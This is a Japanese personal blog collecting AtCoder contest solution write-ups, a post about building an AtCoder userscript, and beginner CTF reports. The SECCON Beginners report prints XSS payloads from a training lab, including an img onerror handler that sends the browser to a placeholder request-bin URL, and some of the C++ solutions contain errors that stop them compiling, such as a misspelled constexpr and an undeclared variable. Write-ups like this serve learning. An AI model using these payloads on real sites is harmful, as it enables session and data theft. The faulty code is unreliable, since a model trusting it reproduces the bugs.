2018-12-09

ABC115参加記録と解説

参加記録競プロ AtCoder

結果

f:id:task4233:20181209123422p:plain 3WA全完で648位でした。
推定緑パフォらしいですが, 全完できて嬉しかったので良いです。

beta.atcoder.jp

A - Christmas Eve Eve Eve

beta.atcoder.jp

概要

12月の日付Dが与えられる。
D=25なら'Christmas',
D=24なら'Christmas Eve',
D=23なら'Christmas Eve Eve',
D=22なら'Christmas Eve Eve Eve'を出力せよ。

制約

$22 \leq D \leq 25$

解法

if文で問題文の通りに書きます。

#include <iostream>
using namespace std;

int main() {
  int D;
  cin >> D;
  
  if (D == 25) cout << "Christmas";
  else if (D == 24) cout << "Christmas Eve";
  else if (D == 23) cout << "Christmas Eve Eve";
  else cout << "Christmas Eve Eve Eve";
  cout << endl;
  return 0;
}

B - Christmas Eve Eve

beta.atcoder.jp

$i$ 個目の品物が $p_i$ 円の品物が $N$ 個ある。
$N$ 個の品物のうち最も高い品物を半額にできる時, 品物の合計金額はいくらか?

制約

$2 \leq N \leq 10$
$100 \leq p_i \leq 10000$
$p_i$ は偶数

解法

最も高い品物のみを半額にするので, 最大値のみを1/2すれば良いですね。そのため, ソートしてから最後の要素(最大値)のみを1/2して全ての要素を足せば良いです。

#include <iostream>
#include <algorithm>
using namespace std;

int main() {
  int N;
  cin >> N;
  vector< int > p(N);
  for (int i=0; i<N; ++i) cin >> p[i];
  
  sort(p.begin(), p.end());
  
  int ans = 0;
  for (int i=0; i<N; ++i) {
    if (i < N - 1) ans += p[i];
    else ans += p[i] / 2;
  }
  
  cout << ans << endl;
  return 0;
}

C - Christmas Eve

beta.atcoder.jp

$i$ 本目の木の高さが $h_i$ メートルの木が $N$ 本植えられています。
その中から $K$ 本の木を選んで装飾する時, 装飾した木のうち最も高い木の高さと最も低い木の差を最小化してください。

制約

$2 \leq K$ < $N \leq 10^5$
$1 \leq h_i \leq 10^9$

解法

$K$ 本を選ぶときに木の高さの幅を最小化するためには, ソートしてから連続した $K$ 本を見てあげるのが良いでしょう。

なぜなら, 連続した $K$ 本のうち最初の木が最小, 最後の木が最大となるので, (最大の木) - (最小の木)を全て試せば木の高さの幅を最小化できるからです。

#include <iostream>
#include <algorithm>
using namespace std;

costexpr int INF 1 << 30;

int main() {
  int N, K;
  cin >> N >> K;
  vector< int > h(N);
  for (int i=0; i<N; ++i) cin >> h[i];
  
  sort(h.begin(), h.end());
  
  int ans = INF;
  for (int i=0; i<N-K+1; ++i) {
    ans = min(ans, h[i+k-1] - h[i]);
  }
  
  cout << ans << endl;
  return 0;
}

D-Christmas

beta.atcoder.jp

多次元バーガーはパティ(以下 $P$ と略す)とバン(以下 $B$ と略す)で出来ています。
レベルLの多次元バーガーは次のように定義される。

レベル $０$ バーガーは, $P1$ 枚である。
レベルバーガーとは,
- $B1$ 枚,
- レベル $L-1$ バーガー,
- $P1$ 枚,
- レベル $L-1$ バーガー,
- B $1$ 枚,
  をこの順に下から積み上げたものである。

レベル $N$ バーガーを作って下から $X$ 枚取った時, その中に $P$ は何枚あるか?

解法

f:id:task4233:20181209155156p:plain

レベル $L$ バーガー(以下 $L$ バーガーと略する)の定義を見ると, 再帰的に $L-1$ バーガーを呼び出しています。それなので,

$f(L) := L$ バーガーの枚数

とすると, この $f(L)$ は以下のように表せます。

$\displaystyle f(L) = \left\{ \begin{array}{ll} 1 & (L = 0) \\ 1 + f(L-1) + 1 + f(L-1) + 1 & (L \geq1) \end{array} \right.$

そして, $P$ の数は図の赤い部分と, f(L-1)の再帰に含まれるPの数のみです。それなので,

$getP(L) := L$ バーガーに含まれる $P$ の枚数
とすると, この $getP(L)$ は以下のように表せます。

$\displaystyle getP(L) = \left\{ \begin{array}{ll} 1 & (L = 0) \\ getP(L-1) + 1 + getP(L-1) & (L \geq1) \end{array} \right.$

また, 図と式を見ると分かりますが, $L$ バーガー $(L\geq1)$ は以下の手順で作れます。

$B$ を1つ置く
$f(L-1)$ を置く
$P$ を1つ置く
$f(L-1)$ を置く
$B$ を1つ置く

この上で, 下から $X$ 枚取ったときを考えてみます。作成手順を見ると上下対称なのが分かるので, 上から $X$ 枚の中に $P$ が何枚あるかを同様の手順で考えてみます。

手順	上からの枚数	含まれるPの数
$B$ を1つ置く	1	0
$f(L-1)$ を置く	$1 + f(L-1)$	$getP(L-1)$
$P$ を1つ置く	$1 + f(L-1) + 1$	$getP(L-1) + 1$
$f(L-1)$ を置く	$1 + f(L-1) + 1 + f(L-1)$	$getP(L-1) + 1 + getP(L-1)$
$B$ を1つ置く	$1 + f(L-1) + 1 + f(L-1) + 1$	$getP(L-1) + 1 + getP(L-1)$

f:id:task4233:20181209123624p:plain

すると, 上の図のように場合分けされます。 $X = 0$ の時は当然1つも選べないので省略しています。この図に従って再帰関数を実装し, main関数から呼び出すことで解を求められます。

#include <iostream>
using namespace std;
// オーバーフローの可能性があるため, 64bitのint_fast64_tを使用します。
using int64 = int_fast64_t;

// Lバーガーの枚数を格納します。
int64 memo[55];
// Lバーガーに含まれるPの枚数を格納します。
int64 p_memo[55];

int64 f(int64 L) {
  // すでにメモされている場合はそちらの値を利用します。
  if (memo[L] > 0) return memo[L];
  // 0バーガーの枚数はPのみで1枚です。
  if (L == 0) return memo[0] = 1;
  // LバーガーはB + f(L-1) + P + f(L-1) + Bなので, 
  // まとめると全体の枚数は2 * f(L-1) + 3枚になります。
  return memo[L] = 2 * f(L-1) + 3;
}

int64 getP(int64 L) {
  if (p_memo[L] > 0) return p_memo[L];
  if (L == 0) return p_memo[0] = 1;
  // LバーガーはB + f(L-1) + P + f(L-1) + Bなので, 
  // まとめるとPの枚数は2 * f(L-1) + 1枚になります。
  return p_memo[L] = 2 * getP(L-1) + 1;
}

int64 solve(int64 L, int64 X) {
  if (X == 0) {
    // 残りの枚数が0枚になったら0を返します。
    return 0;
  } else if (L == 0) {
    // 階層が0になってしまったらgetP(0)=1を返します。
    return getP(0);
  } else if (X <= 1 + f(L-1)) {
    return solve(L-1, X-1);
  } else if (X <= 2 + f(L-1)) {
    return getP(L-1) + 1;
  } else if (X <= 2 + 2*f(L-1)) {
    return getP(L-1) + 1 + solve(L-1, X-f(L-1)-2);
  } else {
    return getP(L-1) + 1 + solve(L-1, X-f(L-1)-2);
  }
}

int main() {
  int64 N, X;
  cin >> N >> X;
  f(N);
  getP(N);
  
  int64 ans = solve(N, X);
  cout << ans << endl;
}

感想

今回のABCは, 最近のABCとは異なる難易度だったと考えています。A-Cは最近のABCの傾向からすると拍子抜けな簡単さだったと思います。そして, D問題は難しいと言う人がいるかもしれませんが, それは「考える」難しさではなく, 「実装する」難しさだと思います。なぜなら, 今回のD問題は実際に書き出してみれば再帰関数の目星はつき, 朧げでも実装方法は思いついていたはずだからです。そのため, 落ち着いて, 時間をかければACすることは不可能ではなかったでしょう。

逆に, 厄介なのは, Small Multipleのような「考える」難しさを要求してくる問題だと考えています。あの問題を見てdijkstra法が出てきますか？私は出てきませんでした。そのような, 問題と解法を繋げるのが難しい問題が私にとっては難しいようです。

長々と語ってしまいましたが, 久々に粘ってACをもぎ取るムーブが出来て非常に楽しいコンテストになりました。このようなコンテストが続くと良いです。

2018-12-04

AtCoder向けのUserscriptを書いた話

競プロ AtCoder 制作記録

はじめに

私は春に競プロを布教していた人です。

この記事は「初心者でもとりあえずやってみたらなんとかなったよ」ということを伝えたくて書きました。

とはいえ、何の根拠もなく語っていても「は？」と思われるので、競プロサイトであるAtCoder向けのUserscriptを書いた時の話をします。

かしこまった記事は書けないので、ですます調はここら辺で終わりにして気楽に書いていこうと思います。

語句の説明

競プロ

→ 競技プログラミングのこと。与えられた問題を「速く、そして正確に」解くパズルのようなもの。

AtCoder

→ オンラインで参加できる競プロのサイト。月に数回コンテストが開かれる。社長が面白い。

Userscript

→ Wikipediaによると
「Userscriptは通常JavaScriptで書かれ、Webページを編集するソースコード」
などと書かれている。ChromeではTempermonkey、Firefoxではgreasemonkeyによる拡張機能により動作可能。Userscript自体はgreasyforkというサイトで配布されている。

インストールに関する記事は以下を参照されたい。 qiita.com

もくじ

はじめに
語句の説明
作ったもの
なぜ作ったのか
どうやって作るか - 計画編
どうやって作るか - コーディング編
- 1. 配点を隠したい部分の要素の取得
- 2. 任意の隠したい部分に対する要素の上書き
公開にあたって
- 1. 公開するまでにやったこと
- 2. 公開してからやったこと
そして改善へ
- 1. リファクタリング
- 2. ユーザによる編集機能
今回の制作で感じたこと
おわりに

作ったもの

こちら。 AtCoderScoreHider

説明はリンク先の概要を参照されたい。

なぜ作ったのか

結論から言うと、私が欲しい機能だったからだ。

というのも、AtCoderの問題では、以下の画像のように問題ごとに配点が表示される。 f:id:task4233:20181203232134p:plain

配点とは厄介なもので、問題を解く前からその問題の難しさを無意識のうちに決めてしまうのだ。
(RPGで巨大な敵を見ると、戦わずして「逃げる」を選択してしまいそうになるアレだ。)

それが原因で、精進*1が進んでいなかったそんな夏休み。ある日Twitterを眺めていると、こんなツイートが流れてきた。

つまりはこうしたいわけですよ pic.twitter.com/EZXi5j74wf
— Mister (@mistter_gp) 2018年9月2日

その内容は、配点の部分の要素を"???"で置換するというもの。「これだ！」と思い、本人にコンタクトを取りアイデアを使わせていただいた訳だ。

こうした流れで、
AtCoderのページで表示される配点を"???"で置換するスクリプト
を作ることを目的として開発を始めた。

どうやって作るか - 計画編

さて、アイデアの許可を得て、作るものの方針も立った。

しかし、ここで1つの問題に突き当たる。

「これ、どうやって作るんだ？」

その当時、私はUserscriptなんて触ったこともなかった。

なぜアイデアの許諾など乞うてしまったのだ、アホか？

と思いつつも、埒が明かないので既存のUserscriptを観察して構造を理解することにした。

そこで参考にしたコードのうち、印象に残ったのは以下の3つのコードだ。

1. AtCoderVirtualContestNowColorize

Author: Kaito Tateyama

スクリプト作者による説明
AtCoder Virtual Contestで現在開催されているコンテストに色付けをします。

コードがシンプルで私のUserScriptの基本形になった。初心者にとってシンプルなコードはありがたい。

2. AtCoderPerformanceColorizer

Author: satanic0258

スクリプト作者による説明
AtCoder(betaサイト)のコンテスト成績表におけるパフォーマンス値・レート値に色付けを行います．

コード中の perfColorizeMode , rateColorizeMode を指定することにより色づけ方法を変更することができます．

色付けモードをユーザ自身が編集できるという発想が印象的だった。Userscriptはユーザがダウンロードして使用するので、ユーザがコードを編集するというのは盲点だった。

3. ac-score-table-ja

Author: rsk0315

スクリプト作者による説明
AtCoder（beta.atcoder.jp）の日本語版で配点表を表示します．

この方のコードはコメントが本当に面白かった。

例えば、

// この要素が確実に目的のものを指しているかがアレなのですが，まぁ大丈夫でしょう var flag = $($('.dropdown-toggle')[0]).children()[0].src;

や、

// XSS に対してアなはずなんですが，AtCoder 社を信じるみたいなことをします

などがある。いわゆるコメント芸というやつだ。

この方はAtCoderScoresの作者でもあるので、そちらのソースコードも覗いてみると面白いと思う*2。

他にも参考にしたコードはあるが、面倒なのでこの辺でやめておく。

さて、話を戻そう。

ソースコードの観察の結果、表示されるWebページのHTMLを取得して(1)、要素を書き換えたり追加したり(2)するという手法を取っていた。この仕組みが分かったらこっちのものなので、以下のようなコーディングの手順を立てた。

配点を隠したい部分の要素の取得
任意の隠したい部分に対する、要素の上書き

以上。手順を書くほどもない単純な作りだ。

これだけで少し満足した私は、この手順に従ってコーディングをすることにした。

どうやって作るか - コーディング編

さて、手順が立ってしまえば競プロerの私にとってこれは唯の問題に過ぎない。

今回の私のスクリプトは短めなので、計画していた時の方がよっぽど大変だった気がする。

1. 配点を隠したい部分の要素の取得

先ほどのコードを見るとJavaScriptかjQueryの2択だったが、jQueryは詳しくなかったので素のJavaScriptで書くことにした。編集したい部分の要素はdocument.querySelectorAll()で取得できるので、やるだけだった。

2. 任意の隠したい部分に対する要素の上書き

要素は取得出来たし、文字列を代入するだけ。

ということで以下のようなコードを打ち込み、謎の自信を身に纏いつつEnterキーを「ッターン」と叩いた。

{取得した要素}.innerText = {上書き用文字列};

f:id:task4233:20181204102811p:plain

変化していない。

Chromeのデベロッパーツールで確認すると、取得していた要素はnodeListで、大きさが2のListだったようだ。

{取得した要素}[0].innerText = {上書き用文字列};

として解決した。何のためにわざわざ同じ要素を2つも用意しているんだろうか。

f:id:task4233:20181204234001p:plain

何はともあれ、原因はわかったのでnodeListの扱いに注意しつつ、残りの実装を終わらせた。

公開にあたって

ひとまず、目的としていた部分の目標は達成できたので、書いたUserscriptを公開することにした。

1. 公開するまでにやったこと

公開にあたり、以下の3つのことに注意した。

可能な限り簡潔にかくこと
見て意味を理解しやすい変数名を用いること
理解の助けとなるコメントを書くこと

これらは、リーダブルコードに書かれていた内容を参考にした。

結果的にversion1.0.0のコードはかなり読みやすいコードになっていると自負している(まぁコード量が少ないだけなのですが)。

何はともあれ、コード自体は完成したので、公開することになった。

しかし、公開するにあたり、スクリプト名やバージョン等を書く必要があったので、とりあえず埋めて無事完成した。

スクリプト名は、AtCoderScoreHinder。この名前は数時間で変更される訳だが、その話はまた後で。

2. 公開してからやったこと

さて、公開してから以下のようなコメントが来た。

お疲れ様です。重箱の隅をつつくような指摘で申し訳ないですが、Hiderではないでしょうか…?
— keymoon (@kymn_) 2018年9月4日

おっしゃる通りです。凄く恥ずかしかった。ホントに。そして、指摘されてから10分程度でリネームした。

そして改善へ

このスクリプトを使用していて、色々と気になったので、以下の2つの改良を加えた。

1. リファクタリング

lambda式を用いることで、可読性のコードに書き換えた。

具体的には、関数名をhasError()やisPrivatePage等に書き換える等である。

また、コメントや宣言等をまとめることで、修正しやすいコードにした。

2. ユーザによる編集機能

このUserscriptは初期設定で配点を"???"に置換する。しかし、他の文字列に変えたい人がいるかもしれないと考え、置換文字列を変更できるようにした。

その他、置換するページをbool型の変数で定義することで、置換するか否かをユーザが編集できるようにした。

具体的には以下のような部分だ。

// ---------------------------------------------------------------------------------------------
// 変更したい場合はここをいじってください
var display_score = '???';//            点数の代わりに置換される文字列
var display_last_status = true;//     過去の提出コードの点数を表示するか否か
var problem_page = true;//           問題ページで表示するか否か
var top_page = true;//                  トップページで表示するか否か
var source_code_page = true;//    ソースコードページで表示するか否か
var submitted_list_page = true;//   提出コード一覧ページで表示するか否か
// ---------------------------------------------------------------------------------------------

今回の制作で感じたこと

制作をする上で感じたことは、計画を立てることが大変だったということだ。

競プロでは、そもそも問題が与えられるのでContestants*3はコードの実装方針とコーディング部分のみを意識すれば良い。

しかし、今回のスクリプトに関してはそうはいかなかった。なぜなら、問題が与えられないからだ。更に言えば、問題を決めるのは自分自身でどのように作るかというのも自分に委ねられる。そのため、ここが難しい部分で時間も要した。

ただし、逆に言えば計画が立ってしまえば残りの作業は楽だということだ(精神的に楽ということでコーディングが楽ということではない)。実際に、今回は計画を立てた結果、かなり楽にコードを実装することが出来た(単純に仕様が簡単だったのも理由の1つだが)。

何らかの開発をする時にこの事に気づかず、行き当たりばったりのコードを書いて詰むというパターンも無くはないと思う。そのため、今後は何をどのような順番で実装するのかを決めてからコーディングをするのも手かなと感じた。

おわりに

歪な構成で読みにくかった部分もある中、この記事を最後まで読んでくれたことに感謝する。何も考えずにこの記事の執筆を決めた訳だが、なんとかなったので良かった(真似しないでください)。

制作物を作り上げることは大きな達成感があって良いので、また何か作る機会があれば作ってみたい。

*1:過去問を沢山解くこと

*2:サービス自体は素晴らしいもので、いつも使わせてもらっている

*3:問題を解く人のこと

2018-11-25

SECCON Beginners 名古屋参加記

参加記録 CTF

はじめに

この度、SECCON Beginners 名古屋に参加してきた。学びが多かった上に楽しかったので参加記を書こうと思う。

はじめに
きっかけ
前日までにしたこと
当日(会場入り前)
当日(イベント)
CTFオリエンテーション
- [Misc]
  - Welcome
  - Calc
- [Web]
- [Crypto]
- [Rev]
結果
交流会
感想

きっかけ

Twitter。
色々あって東京大会には出られず名古屋大会に参加することに。

前日までにしたこと

やったことは以下の2つ。

Kali LinuxのGraphical install
~~Arch Linuxと比べたら恐ろしく簡単だった。~~
こちらの記事に従ってインストールすると簡単だった。
https://freepc.jp/kali-linux
配布資料の内容確認
事前に配布されていた資料を確認した。
非常に分かりやすく、理解の助けになった。

当日(会場入り前)

名古屋市内を散策。イチョウが綺麗だった。
名古屋城にも行ったが、入れなかった。

時間つぶしに名古屋城まで行って来たんですが、あそこって入城料かかるんですね。
— task4233 (@task4233) November 24, 2018

当日(イベント)

CTFについての講話[れっくすさん]

CTFにはジャンルがある。
- Web
- Crypto
- Reversing
- Pwnable
- Programming
全強はあまりおらず、いくつかの分野でのエキスパートになる人が多い。
「勉強」するのではなく「楽しむ」ことが成長への近道。

Crypto[れっくすさん]

暗号を解読してFlagを獲得する分野。

数学要素が多めだと感じた。

以下、講義概要。

What's 'Crypto'?
暗号に関する基礎知識
- 剰余(mod)について
- 逆元の定義とそれを求めるアルゴリズムの紹介
RSA暗号方式の仕組み
- 暗号化・復号の演算について
- CTFで用いられる脆弱なRSAの紹介
暗号全般の話
- 乱数生成に対する攻撃
- 暗号問題を解くときに使用するツールの紹介

Web[ゆったんさん]

個人的に最も興味のあった分野。

攻撃が視覚化されるので楽しいね。

以下、講義概要。

What's 'Web'?
XSSについて
- Webサイトへのアクセスの流れ
- XSSの仕組みと事例
XSSの実践
- 反射型XSS(一時的なXSS)
- JavaScriptのDOM操作を用いた攻撃
- 攻撃者サーバについて(requestsbin)
- 攻撃対象にXSSを踏ませる攻撃

Rev[みむらさん]

アセンブリ言語は強い。

逆アセンブルしてコードを読むって面白くないですか？面白いですね。

以下、講義概要。

バイナリファイルについて
- OSごとのファイル形式判断
- xxdコマンド及びfileコマンドの紹介
アセンブリ言語(x86)でのプログラミング
- Intel記法のアセンブリプログラムの読み方
- 加算/減算/乗算/除算の命令紹介
- 値の比較命令とジャンプ命令の紹介
- ループの実装(比較命令とジャンプ命令の混合)
- スタックと関数の仕組み
CTFに向けて
- 32bit-64bit間での違い
  - 引数の渡し方の違い
  - システムコール命令の違い

CTFオリエンテーション

[Misc]

Welcome

やるだけ。

Calc

やるだけ。

私は脳死で暗算をしましたが、もっと利口な方法があると思う。

[Web]

Do alert

講義資料に沿って書いてあることをやるだけ。

ASカンパニー

講義資料に沿って書いてあることををやるだけ。

AOカンパニー

解法が3つある。

解法1(私の解法) 講義資料で紹介されていた、XSS-Challengeで紹介されていた方法を用いた。

<img src=“hoge” onerror=“document.location = “<request bin url>”;”

を書き込んであげると、 onerrror 以下のスクリプトが実行される。

解法2(他の方の解法) onloadでスクリプトを実行させる手法。

<body onload=alert();/>

で実行できるので、残りは講義資料に沿って解ける。

解法3(スタッフの方の解法) 大文字と小文字を混在させて実行させる手法。

<ScRiPt>alert();</ScRiPt>

で実行できるので、残りは講義資料に沿って解ける。

解法が複数あるのは好き。

Snippets

解けなかった問題。

以下、スタッフの方の解法概要。 1. とりあえずアカウントを作成してログインする。 2. ログイン後、add snippetsで実行したいスクリプトを書いておく。 3. 2.で書いたスクリプトを実行するスクリプトを書く。

登録したsnippetはraw textが見れるので、raw textの部分なら実行できるのでは？と考えることが突破のコツらしい。

難しかった。

[Crypto]

Go Fast

講義資料に書かれているPythonコードを実行するだけ。

Factoring

素因数分解をやるだけ。  反則かもしれないが、こちらのサイトを利用した。

ja.numberempire.com

このサイトで因数分解した後に、足し算をした。

SimpleRSA

講義中のRSA暗号の解法をやるだけ。

Find primes

分からなかった。解法を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……

[Rev]

Find it.

catコマンドで覗くと、ctf4b{}という感じのflagがある。

Read it.

分からなかった。解放を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……

Disassemble it.

解けなかった。 IDAで起こしてループ回数0x7FF回 SECCONを入力することはわかったが、そのやり方が分からなかった。

以下のようなやり方があったようだ。

echo のループ
echoをfor文で実行してやると良いらしい。
シェルスクリプトで解く
シェルスクリプトでechoをループさせながら実行すると良いらしい。
Excelで解く
バイナリを解析して、式の意味を理解してExcelに起こすらしい。

仕組みさえ分かればExcelでも解けるという例であり、面白い問題だった。

結果

Misc(2/2), Web(3/4), Crypto(3/4), Rev(1/3)をACして、 1300点で1位だった。

(まさか1位になれると思っておらず、スクショは撮り忘れた)

講義資料に載っていた部分を参考にしただけなので、本当にラッキーとしか言いようがない。

Disassemble it.のように、バイナリをしっかりと読んで意味を理解するような問題が解けたら良かった。IDAツール等を駆使して、擬似コードに起こせるようになりたいね。

交流会

参加者の方々とスタッフの方々とお話ができた。

話していて感じたのが、以下の2つ。

つよいひとは口を揃えて「全く分からん」や「詳しくない」と言うこと
本人の好きな分野を話している時は、本当に楽しそうに話してくださること

「好きこそ物の上手なれ」とはよく言ったもので、本当にその通りだと感じた。

感想

つらつらと書いてきたが、この記事を一言でまとめると
「CTFは楽しい」
ということだ。

解けないと辛いが、解法を発見したり理解した時の楽しさはやはり良い。
競プロもそうだが、勉強としてやるのではなく趣味として長く続けられると良いな。

最後に、SECCON Beginnersの運営スタッフの方々および会場設営に従事してくださった方々に感謝申し上げます。本当にありがとうございました。お疲れ様でした。

2018-09-16

AGC027 - 参加記録

AtCoder 参加記録競プロ

もくじ

問題リンク
はじめに
結果
A -　Candy Distribution Again
- 問題
- 制約
- 解説
- 提出コード
感想

問題リンク

Tasks - AtCoder Grand Contest 027

はじめに

この記事では、今回の参加記録が書かれています。

上にもくじがあるので、ご活用ください。

結果

1完で379位でした。

f:id:task4233:20180916115434p:plain

最近速解きが顕著になっているなぁと改めて感じます。

以下、解いた問題と解説です。

A -　Candy Distribution Again

問題

$N$ 人の子供に $x$ 個のお菓子を配る。

$i$ 人目の子供は $a_i$ 個のお菓子を貰うと喜ぶ。

この時、喜ぶ人間の最大値を求めよ。

制約

入力は全て整数
1 ≦ $N$ ≦ 100
1 ≦ $x$ ≦ 10⁹
1 ≦ $a_i$ ≦ 10⁹

解説

ソートして小さい順に配って行き、その都度答えを1ずつ加えていく。

ぴったり配りきれたら、さらに1加えれば良い。

提出コード

Submission #3198862 - AtCoder Grand Contest 027

感想

順位表を見てC問題にシフトしたが、解けなかった。

B, C問題は解き直す。

2018-09-09

CyberRebeatCTF - WriteUp

参加記録 CTF

もくじ

問題リンク(ログインしてください)
はじめに
結果
- 結果(Binary〜Programming)
- 結果(Recon〜Web)
解説
- Crypto
  - Rotation
- Excercise
- Misc
  - Readme
- Programming
  - Calculation
  - Prime Factor
- Recon
  - Tweet
  - CyberRebeatScripts
- Stego
  - Secret.pdf
- Trivia
  - Monero
  - Crossword
- Web
  - White Page
  - Let's Tweet
感想

問題リンク(ログインしてください)

https://cyberrebeat.adctf.online/en/contests/2/problems

はじめに

この記事では、今回の参加記録および解けた問題の簡単な解説が書かれています。

上に目次があるのでご活用ください。

結果

1677点で72位でした。

結果(Binary〜Programming)

Binary	Crypto	Exercise	Misc	Programming
0/3	1/3	1/1	1/2	2/3

f:id:task4233:20180909160921p:plain

結果(Recon〜Web)

Recon	Stegano	Trivia	Web
2/3	1/3	2/2	2/3

f:id:task4233:20180909160925p:plain

解説

Crypto

Rotation

問題文からシーザー暗号らしきことがわかります。

しかし、単純にずらすだけでは先頭の文字列がCRCTFではありません。

数字の部分だけずらしてCRCTFにすればFLAGを得られます。

Excercise

やるだけです。

Misc

Readme

f:id:task4233:20180909163600j:plain

最初の文がCAN YOU READ JAPANESE?と読めます。

したがって、それに従い最後の文を訳せばFLAGを得られます。

Programming

Calculation

提示されたコマンドを叩くと四則演算の問題が出てきます。

それを単純に解いて答えていけばFLAGを得られます。

Prime Factor

提示されたコマンドを叩くと問題が与えられます。

問題の内容は数字を素因数分解して最大の素因数を返すというものです。

エラストテネスの篩を用いて素因数分解分解してmaxを返す関数を作れば良いです。

単純に解いていけばFLAGを得られます。

Recon

Twitterのアカウントを見ると以下のツイートからFLAGを得られます。

CRCTF{CyberRebeatCTF_has_started!}
— CyberRebeat (@CyberRebeat) 2018年9月8日

CyberRebeatScripts

GitHubのhistoryから差分を見るとFLAGを得られます。

github.com

Stego

Secret.pdf

与えられたpdfを確認して、文字列をコピーするとFLAGを得られます。 f:id:task4233:20180909170145p:plain

Trivia

Monero

Monero関係の事件を調べれば問題が答えがすぐに得られました。

xn--eck3a9bu7culw30roe4arcdo69l1ja456a.xyz

Crossword

問題を解くだけです。ググれば解けます。調べている途中で答えが予測できたので、それをFLAGとして提出しました。

f:id:task4233:20180909171103j:plain

Web

White Page

hidden要素を消してログインすればFLAGが得られました。

f:id:task4233:20180909171418p:plain

Let's Tweet

投稿してリンクをPOSTするとFLAGが得られる。

感想

初の常設でないCTFでした。

簡単な問題は大分解けた気がします。

ProgrammingのVisual Novelsは手入力で解けたらしいので、もう少し粘っていれば解けたのかも。残念。

Binaryはほとんど解けなかったので、他の方のWriteUpを見てしっかりと復習します。

2018-09-09

ABC109 - 参加記録

参加記録競プロ AtCoder

もくじ

問題リンク
はじめに
結果
A - ABC333
- 問題
- 制約
- 解説
- 提出コード
B - Shiritori
- 問題
- 制約
- 解説
- 提出コード
C - Skip
D - Make Them Even
- 問題
- 制約
- 解説
- 提出コード
感想

問題リンク

Tasks - AtCoder Beginner Contest 109

はじめに

この記事では、今回の参加記録およびABC109の問題・解説が書かれています。

上にもくじがあるので、ご活用ください。

結果

全完で57位でした。

f:id:task4233:20180909115202p:plain

なぜかエスパーで解法が降ってきたので速く解けたのだと思います。

以下、各問題と解説です。

A - ABC333

問題

1以上3以下の整数 $A$ , $B$ について、 $A \times B \times C$ が奇数となるような1以上3以下の整数Cが存在するか判定せよ。

制約

入力は全て整数
1 ≦ $A$ , $B$ ≦ 3

解説

以前のABCでも似たような問題が出ていました。
(問題名を忘れました。申し訳ないです。)

積が奇数となるのはかけられる数が全て奇数の時なので、
A, Bが共に奇数の時に「Yes」それ以外の時に「No」を出力すれば良いですね。

提出コード

Submission #3151300 - AtCoder Beginner Contest 109

B - Shiritori

問題

N個の単語について、以下のルールを満たしている時に「Yes」を、そうでない時に「No」を出力せよ。

ルール

同じ言葉を2回以上使っていないこと。
1つ前の最後の文字と今発言する最初の文字が同じであること。

制約

2 ≦ $N$ ≦ 100
$w_{i}$ は英小文字からなる1以上10以下の長さの文字列である。

解説

制約からN²でも問題なさそうなので、ルールを守っているかを愚直に確認すれば良いですね。

提出コード

Submission #3152586 - AtCoder Beginner Contest 109

C - Skip

問題

数直線上にある $N$ 個の都市があり、 $i$ 番目の都市は座標 $x_{i}$ にある。

あなたはある整数 $D$ を設定すると以下の移動が行える。

1: 座標 $y$ から座標 $y + D$ に移動する
2: 座標 $y$ から座標 $y - D$ に移動する

ここで、あなたが座標 $X$ から出発した時の全ての都市を回れるDの最大値を求めよ。

解説

この問題はごちゃごちゃしていますが、
重要なのは「座標 $y$ から座標 $y ± D$ にのみ移動出来る」ということですね。

例えば、1と5という座標があったとき、

この時の $D$ の最大値は4ですね。

この例を観察すると「4」という数字について、
「5 ≡ 1 (mod 4)」すなわち「5 % 4 == 1 % 4」という性質があり、
「座標間の距離について $D$ を法として合同(mod D)」であることが分かります。

この問題では $D$ の最大値を求めるため、
各点との距離の最大公約数を求めれば「座標間の距離について $D$ を法として合同(mod D)」を満たし、かつ最大の $D$ を求められますね。

したがって、各点間の距離のgcd(最大公約数)を取れば良いです。

余談ですが、RADの最大公約数って曲いいですよね。

提出コード

Submission #3153766 - AtCoder Beginner Contest 109

D - Make Them Even

問題

$H \times W$ のマス目について、マス $(i, j)$ に $a_{i,j}$ 枚のコインが置かれている。

以下の操作を何度でも行える時、偶数枚のコインが置かれたマスの数を最大化せよ。

操作

選んだことのないマスのコインを1枚選び、そのマスの上下左右のマス1つに移動する

制約

入力は全て整数
1 ≦ $H, W$ ≦ 500
0 ≦ $a_{i, j}$ ≦ 9

解説

各マスの数をmod 2で考えれば良いです。

言い換えれば、2進数の最下位の数にのみ注目すれば良いです。

なぜなら、下2桁以上はどのような数であろうと必ず偶数になるからです。

したがって、全てのマスを% 2で置き換えて以下のように操作すれば良いでしょう。

(見たマスの枚数 % 2) が「1」である。
- 見たマスが右下の端である(座標が(H, W)のとき)。
  - スルー。
- 見たマスが右端である(座標が(*, W)のとき)。
  - そのマスのコインを下に移動し、下のマスの枚数を+1する。
- それ以外
  - そのマスのコインを右に移動し、右のマスの枚数を+1する。
(見たマスの枚数 % 2)が「0」である。
- スルー。

ジグザグ解いているContestantもいましたが、そちらの方が良いんでしょうかね？

提出コード

Submission #3156056 - AtCoder Beginner Contest 109

感想

今回は上手くいったので満足しています。

次回のAGCもうまいこと行くと良いな。

それと現在開催中のCRCTFですが、全完チームはやはり凄いなぁという気持ちです。

ハリネズミ本を買おうかどうか悩んでいるのですが、毎回Amazonカードを買うのを忘れて帰宅してしまうんですよね。

2018-09-02

ARC102 - 参加記録

参加記録 AtCoder 競プロ

もくじ

問題リンク
はじめに
結果
C - Triangular Relationship
- 問題
- 考察と解法
D - All Your Paths are Different Lengths
- 問題
- 考察
感想

問題リンク

Tasks - AtCoder Regular Contest 102

はじめに

結果

今回は1完で594位だった。

f:id:task4233:20180902102249p:plain

1完を目的としていたので、それは達成できて良かった。

あと2分速く解けていれば水色パフォだった……

C - Triangular Relationship

問題

問題リンク →　

C - Triangular Relationship

考察と解法

$a + b, b + c, c + a$ が全て $K$ の倍数であることから、
$(a + b)$ % $K$ = $(b + c)$ % $K$ = $(c + a)$ % $K$ = 0 - (1) がわかる。

さらに、 $a$ を固定すると、
$(a + b)$ % $K$ = 0 より $b$ % $K$ = $(K - a)$ % $K$ . - (2)
$(c + a)$ % $K$ = 0 より $c$ % K $K$ = $(K - a)$ % $K$ . - (3)

(1), (2), (3)より、
$(b + c)$ % $K$ = $(((K - a)$ % $K) \times 2)$ % $K$ ) = 0
を満たしていれば $a + b, b + c, c + a$ が全て $K$ の倍数であることを満たす。

そして、(2),(3)を満たすようなb, cは余りが $(K - a)$ % $K$ となるものなので、その個数はそれぞれ $(N + K + a) / K$ である。

